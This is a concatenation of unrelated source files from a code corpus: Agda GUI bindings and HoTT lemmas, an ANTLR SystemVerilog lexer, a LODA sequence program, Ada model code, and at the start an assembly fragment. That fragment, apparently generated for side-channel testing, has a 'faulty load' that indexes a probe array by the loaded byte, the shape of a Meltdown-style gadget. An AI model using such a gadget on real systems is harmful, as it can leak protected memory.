movq %rsi, (%rax)
nop
nop
nop
nop
nop
add %r8, %r8
// Load
lea addresses_WC+0x1ef90, %rbx
nop
nop
inc %r8
mov (%rbx), %edx
nop
dec %r8
// Faulty Load
lea addresses_D+0x10490, %rbp
nop
nop
sub %rbx, %rbx
movb (%rbp), %al
lea oracles, %rbp
and $0xff, %rax
shlq $12, %rax
mov (%rbp,%rax,1), %rax
pop %rsi
pop %rdx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_PSE', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_NC', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WC', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_US', 'size': 8, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 1, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': True, 'congruent': 6, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'36': 46}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
src/StateSizedIO/GUI/WxBindingsFFI.agda | stephanadls/state-dependent-gui | 2 | 9623 | <filename>src/StateSizedIO/GUI/WxBindingsFFI.agda
module StateSizedIO.GUI.WxBindingsFFI where
open import Data.Bool.Base
open import Data.Integer
open import Data.Nat
open import Data.Product hiding (map)
open import NativeIO
{-# FOREIGN GHC import qualified GHC.Conc.Sync #-}
{-# FOREIGN GHC import qualified Control.Concurrent #-}
{-# FOREIGN GHC import qualified Data.IORef #-}
{-# FOREIGN GHC import qualified Graphics.UI.WX #-}
{-# FOREIGN GHC import qualified Graphics.UI.WX.Timer #-}
{-# FOREIGN GHC import qualified Graphics.UI.WXCore #-}
{-# FOREIGN GHC import qualified Graphics.UI.WXCore.Events #-}
postulate Frame : Set
{-# COMPILE GHC Frame = type (Graphics.UI.WX.Frame ()) #-}
postulate Button : Set
{-# COMPILE GHC Button = type (Graphics.UI.WX.Button ()) #-}
postulate TextCtrl : Set
{-# COMPILE GHC TextCtrl = type (Graphics.UI.WX.TextCtrl ()) #-}
postulate Timer : Set
{-# COMPILE GHC Timer = type Graphics.UI.WX.Timer.Timer #-}
postulate nativeNewFrame : String -> NativeIO Frame
{-# COMPILE GHC nativeNewFrame = (\s -> Graphics.UI.WX.frame [Graphics.UI.WX.text Graphics.UI.WX.:= "Window"]) #-}
--
-- Frame Layout
--
{-# FOREIGN GHC
setChildrenLayout' :: Graphics.UI.WX.Frame () -> Integer -> Integer -> Integer -> Integer -> IO ()
setChildrenLayout' win rowWidth' marginWidth' vspa' hspa' = do
let rowWidth = fromIntegral rowWidth'
let marginWidth = fromIntegral marginWidth'
let vspa = fromIntegral vspa'
let hspa = fromIntegral hspa'
let list2Matrix n xs = map (\(x ,y)-> (take n) $ (drop (n*x)) y) $ zip [0..] $ replicate (div (length xs) n) xs
blist <- Graphics.UI.WXCore.windowChildren win
putStrLn ("Layout of frame, got " ++ (show $ length $ blist) ++ "children")
let blist' = list2Matrix rowWidth blist
let blist'' = (map . map) Graphics.UI.WX.widget blist'
Graphics.UI.WX.set win [ Graphics.UI.WX.layout Graphics.UI.WX.:= Graphics.UI.WX.margin marginWidth $ Graphics.UI.WX.dynamic $ Graphics.UI.WX.grid vspa hspa $ blist'']
#-}
postulate nativeSetChildredLayout : Frame → ℕ → ℕ → ℕ → ℕ → NativeIO Unit
{-# COMPILE GHC nativeSetChildredLayout = setChildrenLayout' #-}
postulate nativeDoThreadDelay : NativeIO Bool
{-# COMPILE GHC nativeDoThreadDelay = ((Control.Concurrent.threadDelay 100) >>= (\x -> return True)) #-}
postulate nativeSetIdle : Frame -> NativeIO Bool -> NativeIO Unit
{-# COMPILE GHC nativeSetIdle = (\fra prog -> Graphics.UI.WX.set fra [Graphics.UI.WX.on Graphics.UI.WX.idle Graphics.UI.WX.:= prog]) #-}
nativeCreateFrame : NativeIO Frame
nativeCreateFrame =
nativeNewFrame "Start Text" native>>= (\f ->
nativeSetIdle f nativeDoThreadDelay native>>= (\x ->
nativeReturn f))
postulate nativeMakeButton : Frame → String → NativeIO Button
{-# COMPILE GHC nativeMakeButton = (\myFrame str -> Graphics.UI.WX.button myFrame [Graphics.UI.WX.text Graphics.UI.WX.:= (Data.Text.unpack str)]) #-}
postulate nativeMakeTextCtrl : Frame → String → NativeIO TextCtrl
{-# COMPILE GHC nativeMakeTextCtrl = (\myFrame str -> Graphics.UI.WX.entry myFrame [Graphics.UI.WX.text Graphics.UI.WX.:= (Data.Text.unpack str)]) #-}
postulate nativeAddButton : Frame → Button → NativeIO Unit
{-# COMPILE GHC nativeAddButton = (\myFrame bt -> Graphics.UI.WX.set myFrame [Graphics.UI.WX.layout Graphics.UI.WX.:= Graphics.UI.WX.minsize (Graphics.UI.WX.sz 500 400) $ Graphics.UI.WX.column 1 [Graphics.UI.WX.hfill (Graphics.UI.WX.widget bt)]]) #-}
postulate WxColor : Set
{-# COMPILE GHC WxColor = type Graphics.UI.WX.Color #-}
postulate nativeSetColorButton : Button → WxColor → NativeIO Unit
{-# COMPILE GHC nativeSetColorButton = (\ bt co -> Graphics.UI.WX.set bt [ Graphics.UI.WX.color Graphics.UI.WX.:= co] ) #-}
postulate nativeSetColorTextCtrl : TextCtrl → WxColor → NativeIO Unit
{-# COMPILE GHC nativeSetColorTextCtrl = (\ txt co -> Graphics.UI.WX.set txt [ Graphics.UI.WX.color Graphics.UI.WX.:= co] ) #-}
postulate rgb : ℕ → ℕ → ℕ → WxColor
{-# COMPILE GHC rgb = (\ r b g -> Graphics.UI.WX.rgb r g b) #-}
postulate TVar : Set → Set
{-# COMPILE GHC TVar = type Control.Concurrent.STM.TVar.TVar #-}
postulate MVar : Set → Set
{-# COMPILE GHC MVar = type Control.Concurrent.MVar #-}
Var : Set → Set
Var = MVar
postulate
nativeNewVar : {A : Set} → A → NativeIO (Var A)
nativeTakeVar : {A : Set} → Var A → NativeIO A
nativePutVar : {A : Set} → Var A → A → NativeIO Unit
{-# COMPILE GHC nativeNewVar = (\ _ -> Control.Concurrent.newMVar ) #-}
{-# COMPILE GHC nativeTakeVar = (\ _ -> Control.Concurrent.takeMVar ) #-}
{-# COMPILE GHC nativePutVar = (\ _ -> Control.Concurrent.putMVar ) #-}
-- Fire Custom Event
--
postulate nativeFireCustomEvent : Frame → NativeIO Unit
{-# COMPILE GHC nativeFireCustomEvent = (\f -> Graphics.UI.WXCore.commandEventCreate Graphics.UI.WXCore.wxEVT_COMMAND_MENU_SELECTED (Graphics.UI.WXCore.wxID_HIGHEST+1) >>= (\ev -> fmap (\x -> ()) (Graphics.UI.WXCore.evtHandlerProcessEvent f ev))) #-}
postulate nativeRegisterCustomEvent : Frame → NativeIO Unit → NativeIO Unit
{-# COMPILE GHC nativeRegisterCustomEvent = (\win prog -> Graphics.UI.WXCore.evtHandlerOnMenuCommand win (Graphics.UI.WXCore.wxID_HIGHEST+1) (putStrLn " >>> CUSTOM EVENT FIRED <<<" >> Control.Concurrent.forkIO prog >> return ())) #-}
{-
for debugging
postulate nativeRegisterDummyCustomEvent : Frame → NativeIO Unit
{-# COMPILE GHC nativeRegisterDummyCustomEvent = (\win -> Graphics.UI.WXCore.evtHandlerOnMenuCommand win (Graphics.UI.WXCore.wxID_HIGHEST+1) (putStrLn " >>> CUSTOM EVENT FIRED <<<")) #-}
-}
postulate nativeSetButtonHandler : Button → NativeIO Unit → NativeIO Unit
{-# COMPILE GHC nativeSetButtonHandler = (\ bt prog -> Graphics.UI.WX.set bt [Graphics.UI.WX.on Graphics.UI.WX.command Graphics.UI.WX.:= prog ]) #-}
postulate prog : NativeIO Unit
{-# COMPILE GHC prog = (putStrLn "timer goes off!") #-}
postulate nativeSetTimer : Frame → ℤ → NativeIO Unit → NativeIO Timer
{-# COMPILE GHC nativeSetTimer = (\ fra x prog -> Graphics.UI.WX.timer fra [ Graphics.UI.WX.interval Graphics.UI.WX.:= (fromInteger x) , Graphics.UI.WX.on Graphics.UI.WX.command Graphics.UI.WX.:= prog ]) #-}
postulate ThreadId : Set
{-# COMPILE GHC ThreadId = type GHC.Conc.Sync.ThreadId #-}
postulate forkIO : NativeIO Unit → NativeIO ThreadId
{-# COMPILE GHC forkIO = GHC.Conc.Sync.forkIO #-}
postulate Bitmap : Set
{-# COMPILE GHC Bitmap = type (Graphics.UI.WXCore.Bitmap ()) #-}
postulate bitmap : String → Bitmap
{-# COMPILE GHC bitmap = (\s -> Graphics.UI.WX.bitmap (Data.Text.unpack s)) #-}
postulate DC : Set
{-# COMPILE GHC DC = type (Graphics.UI.WXCore.DC ()) #-}
postulate Rect : Set
{-# COMPILE GHC Rect = type Graphics.UI.WXCore.Rect #-}
postulate nativeSetClickRight : Frame → NativeIO Unit → NativeIO Unit
{-# COMPILE GHC nativeSetClickRight = (\ fra prog -> Graphics.UI.WX.set fra [Graphics.UI.WX.on Graphics.UI.WX.clickRight Graphics.UI.WX.:= (\x -> prog)]) #-}
postulate nativeSetOnPaint : Frame → (DC → Rect → NativeIO Unit) → NativeIO Unit
{-# COMPILE GHC nativeSetOnPaint = (\ fra prog -> Graphics.UI.WX.set fra [Graphics.UI.WX.on Graphics.UI.WX.paint Graphics.UI.WX.:= prog]) #-}
postulate nativeRepaint : Frame → NativeIO Unit
{-# COMPILE GHC nativeRepaint = Graphics.UI.WX.repaint #-}
Point : Set
Point = (ℤ × ℤ)
postulate NativePoint : Set
{-# COMPILE GHC NativePoint = type Graphics.UI.WXCore.Point #-}
postulate nativePoint : ℤ → ℤ → NativePoint
{-# COMPILE GHC nativePoint = (\ x y -> Graphics.UI.WXCore.point (fromInteger x) (fromInteger y)) #-}
postulate nativeDrawBitmapNativePoint : DC → Bitmap → NativePoint → Bool → NativeIO Unit
{-# COMPILE GHC nativeDrawBitmapNativePoint = (\ d bi p bo -> Graphics.UI.WX.drawBitmap d bi p bo [] ) #-}
nativeDrawBitmap : DC → Bitmap → Point → Bool → NativeIO Unit
nativeDrawBitmap d bi (x , y) bo = nativeDrawBitmapNativePoint d bi (nativePoint x y) bo
{-# FOREIGN GHC import Graphics.UI.WXCore.WxcClassesAL #-}
postulate nativeBitmapGetWidth : Bitmap → NativeIO ℤ
{-# COMPILE GHC nativeBitmapGetWidth = (\ b -> fmap fromIntegral (Graphics.UI.WXCore.WxcClassesAL.bitmapGetWidth b)) #-}
postulate start : NativeIO Unit → NativeIO Unit
{-# COMPILE GHC start = Graphics.UI.WX.start #-}
--
-- Note: we add the "key pressed" event to a button
-- and not to a frame, because of a bug in wxHaskell that prevents
-- adding a key pressed event to a frame (at least on linux plattforms).
--
postulate
Key : Set
showKey : Key -> String
nativeSetKeyHandler : Button → (Key → NativeIO Unit) → NativeIO Unit
{-# COMPILE GHC Key = type Graphics.UI.WXCore.Events.Key #-}
{-# COMPILE GHC showKey = (\ k -> (Data.Text.pack (Graphics.UI.WXCore.Events.showKey k))) #-}
{-# COMPILE GHC nativeSetKeyHandler = (\bt prog -> Graphics.UI.WX.set bt [Graphics.UI.WX.on Graphics.UI.WX.anyKey Graphics.UI.WX.:= prog]) #-}
--
-- Delete Objects
--
-- note: can be solved with instance arguments in the future
postulate objectDeleteFrame : Frame → NativeIO Unit
{-# COMPILE GHC objectDeleteFrame = (\f -> Graphics.UI.WX.objectDelete f) #-}
postulate nativeDeleteButton : Button → NativeIO Unit
{-# COMPILE GHC nativeDeleteButton = (\f -> Graphics.UI.WX.objectDelete f) #-}
postulate nativeDeleteTextCtrl : TextCtrl → NativeIO Unit
{-# COMPILE GHC nativeDeleteTextCtrl = (\f -> Graphics.UI.WX.objectDelete f) #-}
|
nicolai/pseudotruncations/Liblemmas.agda | nicolaikraus/HoTT-Agda | 1 | 5632 | <reponame>nicolaikraus/HoTT-Agda
{-# OPTIONS --without-K #-}
open import lib.Basics -- hiding (_=⟨_⟩_ ; _∎)
open import lib.types.Paths
open import lib.types.Pi
open import lib.types.Unit
open import lib.types.Nat
open import lib.types.TLevel
open import lib.types.Pointed
open import lib.types.Sigma
open import lib.NType2
open import lib.PathGroupoid
open import nicolai.pseudotruncations.Preliminary-definitions
module nicolai.pseudotruncations.Liblemmas where
-- transport along constant family
transport-const-fam : ∀ {i j} {A : Type i} {B : Type j} {a₁ a₂ : A}
→ (p : a₁ == a₂) → (b : B) → transport (λ _ → B) p b == b
transport-const-fam idp b = idp
-- interaction of transport and ap
trans-ap : ∀ {i j} {A : Type i} {B : Type j} {a₁ a₂ : A}
→ (f g : A → B) → (p : a₁ == a₂) → (q : f a₁ == g a₁)
→ transport (λ x → f x == g x) p q == ! (ap f p) ∙ q ∙ (ap g p)
trans-ap f g idp q = ! (∙-unit-r q)
-- special interaction of transport and ap, where the second map is constant at a point
trans-ap₁ : ∀ {i j} {A : Type i} {B : Type j} (f : A → B) {a₁ a₂ : A} (b : B)
(p : a₁ == a₂) (q : f a₁ == b)
→ transport (λ a → f a == b) p q == ! (ap f p) ∙ q
trans-ap₁ f b idp q = idp
-- first map is constant at a point
trans-ap₂ : ∀ {i j} {A : Type i} {B : Type j} (g : A → B) {a₁ a₂ : A} (b : B)
(p : a₁ == a₂) (q : b == g a₁)
→ transport (λ a → b == g a) p q == q ∙ ap g p
trans-ap₂ g b idp q = !( ∙-unit-r _)
-- if f is weakly constant, then so is ap f
ap-const : ∀ {i j} {A : Type i} {B : Type j} (f : A → B)
→ wconst f → {a₁ a₂ : A} → wconst (ap f {x = a₁} {y = a₂})
ap-const {A = A} f wc p q = calc-ap p ∙ ! (calc-ap q) where
calc-ap : {a₁ a₂ : A} → (p : a₁ == a₂) → ap f p == wc a₁ a₂ ∙ ! (wc a₂ a₂)
calc-ap idp = ! (!-inv-r (wc _ _))
-- in particular, if f is weakly constant, then ap f maps loops to 'refl'
ap-const₁ : ∀ {i j} {A : Type i} {B : Type j} (f : A → B)
→ wconst f → {a₁ : A} → (p : a₁ == a₁) → ap f p == idp
ap-const₁ f wc p = ap-const f wc p idp
-- if f is constant at a point, it maps every path to 'refl'
ap-const-at-point : ∀ {i j} {A : Type i} {B : Type j} {a₁ a₂ : A}
(b : B) (p : a₁ == a₂) → ap (λ _ → b) p == idp
ap-const-at-point b idp = idp
{- this lemma is ad-hoc; it could be proved as a concatenation of
many library lemmas, but it would be much more tedious to do -}
adhoc-lemma : ∀ {i} {A : Type i} {x y z : A}
(p : x == y)
(q : z == y)
(r : z == x)
→ p ∙ ! q ∙ r == idp
→ p == ! r ∙ q
adhoc-lemma p idp idp e = ! (∙-unit-r p) ∙ e
{- If f is weakly constant, then so is ap f. This is a lemma from our
old Hedberg article. -}
ap-wconst : ∀ {i j} {A : Type i} {B : Type j} (f : A → B) (w : wconst f)
→ {a₁ a₂ : A} → wconst (ap f {a₁} {a₂})
ap-wconst f w p q = lemma p ∙ ! (lemma q) where
lemma : ∀ {x y} (p : x == y) → ap f {x} {y} p == ! (w x x) ∙ (w x y)
lemma {x} idp = ! (!-inv-l (w x x))
-- Silly little lemma (is it in the library?)
ap-fst : ∀ {i j} {A : Type i} {B : Type j} {a₁ a₂ : A} {b₁ b₂ : B}
(p : a₁ == a₂) (q : b₁ == b₂)
→ ap fst (pair×= p q) == p
ap-fst idp idp = idp
{- An ad-hoc lemma. Whenever this appears, one could (should, to be honest)
use library lemmas, but it's just so much more convenient to formulate it
and pattern match... -}
adhoc-=-eqv : ∀ {i} {A : Type i} {x y : A} (p : y == x) (q : y == x)
→ (! p ∙ q == idp) ≃ (p == q)
adhoc-=-eqv idp q = !-equiv
{- Another ad-hoc equality; it could be proved easily with many nested
library lemmas -}
multi-cancelling : ∀ {i} {A : Type i} {x y z w : A} (p : y == x) (q : y == z) (r : x == w)
→ (! p) ∙ q ∙ (! q) ∙ p ∙ r == r
multi-cancelling idp idp r = idp
|
test/succeed/Issue778b.agda | np/agda-git-experiment | 1 | 9451 | <filename>test/succeed/Issue778b.agda
-- {-# OPTIONS -v tc.term.exlam:100 -v extendedlambda:100 -v int2abs.reifyterm:100 -v tc.with:100 -v tc.mod.apply:100 #-}
module Issue778b (Param : Set) where
open import Issue778M Param
data D : (Nat → Nat) → Set where
d : D pred → D pred
test : (f : Nat → Nat) → D f → Nat
test .pred (d x) = bla
where bla : Nat
bla with x
... | (d y) = test pred y
|
grammar/SV3_1aPpLexer.g4 | bsp13/Surelog | 0 | 6862 | /*
Copyright 2019 <NAME>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
lexer grammar SV3_1aPpLexer;
// A.9.2 Comments
One_line_comment : '//' Comment_text '\r'? '\n' ;
Block_comment : '/*' Comment_text '*/' ;
fragment Comment_text : (WS | CR | TAB)* | .*? ;
TICK_VARIABLE : '``' [a-zA-Z0-9_]+ '``' ;
TICK_DEFINE : '`define' ;
TICK_CELLDEFINE : '`celldefine' ;
TICK_ENDCELLDEFINE : '`endcelldefine' ;
TICK_DEFAULT_NETTYPE : '`default_nettype' ;
TICK_UNDEF : '`undef' ;
TICK_IFDEF : '`ifdef' ;
TICK_IFNDEF : '`ifndef' ;
TICK_ELSE : '`else' ;
TICK_ELSIF : '`elsif' ;
TICK_ELSEIF : '`elseif' ;
TICK_ENDIF : '`endif' ;
TICK_INCLUDE : '`include' ;
TICK_PRAGMA : '`pragma' ;
TICK_BEGIN_KEYWORDS : '`begin_keywords' ;
TICK_END_KEYWORDS : '`end_keywords' ;
TICK_RESETALL : '`resetall' ;
TICK_TIMESCALE : '`timescale' ;
TICK_UNCONNECTED_DRIVE : '`unconnected_drive' ;
TICK_NOUNCONNECTED_DRIVE : '`nounconnected_drive' ;
TICK_LINE : '`line' ;
TICK_DEFAULT_DECAY_TIME : '`default_decay_time' ;
TICK_DEFAULT_TRIREG_STRENGTH : '`default_trireg_strength' ;
TICK_DELAY_MODE_DISTRIBUTED : '`delay_mode_distributed' ;
TICK_DELAY_MODE_PATH : '`delay_mode_path' ;
TICK_DELAY_MODE_UNIT : '`delay_mode_unit' ;
TICK_DELAY_MODE_ZERO : '`delay_mode_zero' ;
TICK_UNDEFINEALL : '`undefineall' ;
TICK_ACCELERATE : '`accelerate';
TICK_NOACCELERATE : '`noaccelerate';
TICK_PROTECT : '`protect' ;
TICK_USELIB : '`uselib' ;
TICK_DISABLE_PORTFAULTS : '`disable_portfaults' ;
TICK_ENABLE_PORTFAULTS : '`enable_portfaults' ;
TICK_NOSUPPRESS_FAULTS : '`nosuppress_faults' ;
TICK_SUPPRESS_FAULTS : '`suppress_faults' ;
TICK_SIGNED : '`signed' ;
TICK_UNSIGNED : '`unsigned' ;
TICK_ENDPROTECT : '`endprotect' ;
TICK_PROTECTED : '`protected' ;
TICK_ENDPROTECTED : '`endprotected' ;
TICK_EXPAND_VECTORNETS : '`expand_vectornets' ;
TICK_NOEXPAND_VECTORNETS : '`noexpand_vectornets' ;
TICK_AUTOEXPAND_VECTORNETS : '`autoexpand_vectornets' ;
TICK_REMOVE_GATENAME : '`remove_gatename' ;
TICK_NOREMOVE_GATENAMES : '`noremove_gatenames' ;
TICK_REMOVE_NETNAME : '`remove_netname' ;
TICK_NOREMOVE_NETNAMES : '`noremove_netnames' ;
TICK_FILE__ : '`__FILE__' ;
TICK_LINE__ : '`__LINE__' ;
MODULE : 'module';
ENDMODULE : 'endmodule' ;
INTERFACE : 'interface' ;
ENDINTERFACE : 'endinterface' ;
PROGRAM : 'program' ;
ENDPROGRAM : 'endprogram' ;
PRIMITIVE : 'primivite' ;
ENDPRIMITIVE : 'endprimitive' ;
PACKAGE : 'package' ;
ENDPACKAGE : 'endpackage' ;
CHECKER : 'checker' ;
ENDCHECKER : 'endchecker' ;
CONFIG : 'config' ;
ENDCONFIG : 'endconfig' ;
Macro_identifier : '`' [a-zA-Z_] [a-zA-Z0-9_$]* ;
Macro_Escaped_identifier
: '`\\' ~[WS\r\t\n]*? WS
;
String
: '"' // a opening quote
( // start group
'\\' ~('\r') // an escaped char other than a line break char
| // OR
~('\\' | '"'| '\r' | '\n') // any char other than '"', '\' and line breaks
)* // end group and repeat zero or more times
'"' // the closing quote
;
Simple_identifier : [a-zA-Z_] [a-zA-Z0-9_$]* ;
Spaces : (WS | TAB)+;
Pound_delay : '#' WS* [0-9] [0-9_.]*;
TIMESCALE : (WS | TAB)* [0-9]+ (WS | TAB)* ('ms' | 'us' | 'ns' | 'ps' | 'fs' | 's' ) (WS | TAB)* '/' (WS | TAB)* [0-9]+ (WS | TAB)* ('ms' | 'us' | 'ns' | 'ps' | 'fs' | 's') ;
fragment
Non_zero_unsigned_number : '1'..'9' ( '_' | Decimal_digit )* ;
fragment
Decimal_number
: Unsigned_number
| ( Non_zero_unsigned_number WS* )? Decimal_base WS* Unsigned_number*
| ( Non_zero_unsigned_number WS* )? Decimal_base WS* X_digit ( '_' )*
| ( Non_zero_unsigned_number WS* )? Decimal_base WS* Z_digit ( '_' )*
;
/* binary_number ::= [ size ] binary_base binary_value */
fragment
Binary_number : ( Non_zero_unsigned_number WS* )? Binary_base WS* Binary_value ;
/* octal_number ::= [ size ] octal_base octal_value */
fragment
Octal_number : ( Non_zero_unsigned_number WS* )? Octal_base WS* Octal_value ;
/* hex_number ::= [ size ] hex_base hex_value */
fragment
Hex_number : ( Non_zero_unsigned_number WS* )? Hex_base WS* Hex_value ;
Number
: Decimal_number
| Octal_number
| Binary_number
| Hex_number
;
/* unsigned_number <<1>> ::= decimal_digit { _ | decimal_digit } */
fragment
Unsigned_number : Decimal_digit ( '_' | Decimal_digit | ' ' )* ;
/* binary_value <<1>> ::= binary_digit { _ | binary_digit } */
fragment
Binary_value : ('_')* Binary_digit* ( ' ' | '_' | Binary_digit_no_qm )*;
/* octal_value <<1>> ::= octal_digit { _ | octal_digit } */
fragment
Octal_value : ('_')* Octal_digit* ( ' ' | '_' | Octal_digit_no_qm )*;
/* hex_value <<1>> ::= hex_digit { _ | hex_digit } */
fragment
Hex_value : ('_')* Hex_digit* ( ' ' | '_' | Hex_digit_no_qm )*;
/* decimal_base <<1>> ::= [s|S]d | [s|S]D */
fragment
Decimal_base : '\'' ('s' | 'S')? ('d' | 'D') ;
/* binary_base <<1>> ::= [s|S]b | [s|S]B */
fragment
Binary_base : '\'' ('s' | 'S')? ('b' | 'B') ;
/* octal_base <<1>> ::= [s|S]o | [s|S]O */
fragment
Octal_base : '\'' ('s' | 'S')? ( 'o' | 'O') ;
/* hex_base <<1>> ::ps [s|S]h | [s|S]H */
fragment
Hex_base : '\'' ('s' | 'S')? ('h' | 'H') ;
/* decimal_digit ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 */
fragment
Decimal_digit : '0'..'9' ;
/* binary_digit ::= x_digit | z_digit | 0 | 1 */
fragment
Binary_digit : X_digit | Z_digit | ('0' | '1') ;
fragment
Binary_digit_no_qm : X_digit | Z_digit_no_qm | ('0' | '1') ;
/* octal_digit ::= x_digit | z_digit | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 */
fragment
Octal_digit : X_digit | Z_digit | '0'..'7' ;
fragment
Octal_digit_no_qm : X_digit | Z_digit_no_qm | '0'..'7' ;
/* hex_digit ::= x_digit | z_digit | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | a | b | c | d | e | f | A | B | C | D | E | F */
fragment
Hex_digit : X_digit | Z_digit | ('0'..'9' | 'a'..'f' | 'A'..'F') ;
fragment
Hex_digit_no_qm : X_digit | Z_digit_no_qm | ('0'..'9' | 'a'..'f' | 'A'..'F') ;
/* x_digit ::= x | X */
fragment
X_digit : ('x'| 'X') ;
/* z_digit ::= z | Z | ? */
fragment
Z_digit : ('z'| 'Z' | '?') ;
fragment
Z_digit_no_qm : ('z'| 'Z') ;
Fixed_point_number : [0-9]+ '.' [0-9]+ ;
fragment WS : [ ]+ ;
fragment TAB : [\t]+ ;
TEXT_CR : '\\' [nr];
ESCAPED_CR : '\\' [\r\n] ;
CR : [\r\n] ;
TICK_QUOTE : '`"' ;
TICK_BACKSLASH_TICK_QUOTE : '`\\`"' ;
TICK_TICK: '``' ;
PARENS_OPEN : '(' ;
PARENS_CLOSE : ')' ;
COMMA : ',' ;
EQUAL_OP : '=' ;
DOUBLE_QUOTE : '"';
Escaped_identifier
: '\\' ~[WS\r\t\n]*? WS
;
CURLY_OPEN : '{' ;
CURLY_CLOSE : '}' ;
SQUARE_OPEN : '[' ;
SQUARE_CLOSE : ']' ;
Special : [~!@#$%^&*+|:;'<>.?/-]+ ;
ANY : .;
|
programs/oeis/027/A027025.asm | karttu/loda | 1 | 168355 | <reponame>karttu/loda<filename>programs/oeis/027/A027025.asm
; A027025: a(n) = T(n,n+3), T given by A027023.
; 1,11,33,77,161,319,613,1157,2161,4011,7417,13685,25217,46431,85453,157229,289249,532075,978705,1800189,3311137,6090207,11201717,20603253,37895377,69700555,128199401,235795557,433695745,797690943,1467182493,2698569437,4963443137,9129195339,16791208193,30883846957,56804250785,104479306239,192167404293,353450961637,650097672497,1195716038763,2199264673241,4045078384853,7440059097217,13684402155679,25169539638125,46294000891405,85147942685601,156611483215531,288053426792945,529812852694493,974477762703393,1792344042191263,3296634657589589,6063456462484693
add $0,1
mov $1,$0
mul $1,2
mov $2,2
add $2,$1
cal $0,18921 ; Define the generalized Pisot sequence T(a(0),a(1)) by: a(n+2) is the greatest integer such that a(n+2)/a(n+1) < a(n+1)/a(n). This is T(4,8).
mov $1,$0
sub $1,$2
sub $1,4
mul $1,2
add $1,1
|
src/gen-model.adb | My-Colaborations/dynamo | 0 | 30534 | <filename>src/gen-model.adb<gh_stars>0
-----------------------------------------------------------------------
-- gen-model -- Model for Code Generator
-- Copyright (C) 2009, 2010, 2011, 2012, 2018, 2019, 2020 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Strings.Fixed;
with Ada.Strings.Maps;
with DOM.Core.Nodes;
with Gen.Utils;
package body Gen.Model is
Trim_Chars : constant Ada.Strings.Maps.Character_Set
:= Ada.Strings.Maps.To_Set (" " & ASCII.HT & ASCII.LF & ASCII.CR);
-- ------------------------------
-- Get the object unique name.
-- ------------------------------
function Get_Name (From : in Definition) return String is
begin
return Ada.Strings.Unbounded.To_String (From.Def_Name);
end Get_Name;
function Name (From : in Definition) return Ada.Strings.Unbounded.Unbounded_String is
begin
return From.Def_Name;
end Name;
-- ------------------------------
-- Set the object unique name.
-- ------------------------------
procedure Set_Name (Def : in out Definition;
Name : in String) is
begin
Def.Def_Name := Ada.Strings.Unbounded.To_Unbounded_String (Name);
end Set_Name;
procedure Set_Name (Def : in out Definition;
Name : in Ada.Strings.Unbounded.Unbounded_String) is
begin
Def.Def_Name := Name;
end Set_Name;
-- ------------------------------
-- Get the value identified by the name.
-- If the name cannot be found, the method should return the Null object.
-- ------------------------------
function Get_Value (From : in Definition;
Name : in String) return Util.Beans.Objects.Object is
begin
if Name = "comment" then
return From.Comment;
elsif Name = "rowIndex" then
return Util.Beans.Objects.To_Object (From.Row_Index);
elsif Name = "name" then
return Util.Beans.Objects.To_Object (From.Def_Name);
else
return From.Attrs.Get_Value (Name);
end if;
end Get_Value;
-- ------------------------------
-- Get the value identified by the name.
-- If the name cannot be found, the method should return the Null object.
-- ------------------------------
function Get_Attribute (From : in Definition;
Name : in String) return String is
V : constant Util.Beans.Objects.Object := From.Get_Value (Name);
begin
return Util.Beans.Objects.To_String (V);
end Get_Attribute;
-- ------------------------------
-- Get the value identified by the name.
-- If the name cannot be found, the method should return the Null object.
-- ------------------------------
function Get_Attribute (From : in Definition;
Name : in String) return Ada.Strings.Unbounded.Unbounded_String is
begin
return Ada.Strings.Unbounded.To_Unbounded_String (From.Get_Attribute (Name));
end Get_Attribute;
-- ------------------------------
-- Set the comment associated with the element.
-- ------------------------------
procedure Set_Comment (Def : in out Definition;
Comment : in String) is
Trimmed_Comment : constant String
:= Ada.Strings.Fixed.Trim (Comment, Trim_Chars, Trim_Chars);
begin
Def.Comment := Util.Beans.Objects.To_Object (Trimmed_Comment);
end Set_Comment;
-- ------------------------------
-- Get the comment associated with the element.
-- ------------------------------
